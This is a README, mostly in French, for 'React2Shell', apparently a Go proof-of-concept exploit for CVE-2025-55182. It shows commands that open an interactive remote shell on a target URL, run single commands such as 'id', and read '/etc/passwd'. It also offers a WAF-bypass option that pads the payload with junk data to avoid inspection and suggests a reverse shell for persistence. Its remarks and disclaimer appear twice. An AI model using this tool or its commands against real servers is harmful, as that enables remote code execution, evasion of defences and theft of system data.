React2Shell

CVE-2025-55182 PoC

Utilisation

# Interactive shell
./react2shell -u http://target:3000

# Single command
./react2shell -u http://target:3000 -c "id"

# WAF bypass (128KB junk data)
./react2shell -u http://target:3000 -waf 128

Compilation

go build -o react2shell .

Options

Flag	Description
-u	URL cible
-c	Commande unique (optionnelle)
-waf	Taille du bourrage pour contournement WAF en Ko (optionnel)

Remarques

• Chaque commande s'exécute dans une nouvelle session shell
• Utilisez ; ou && pour enchaîner les commandes : cd /etc && cat passwd
• Le contournement WAF ajoute des données de bourrage avant la charge utile pour échapper à l'inspection du contenu

Avertissement

Pour des tests de sécurité autorisés uniquement.

• Utilisez ; ou && pour enchaîner les commandes : cd /etc && cat passwd
• Pour un shell persistant, utilisez un reverse shell

Avertissement

Pour des tests de sécurité autorisés uniquement.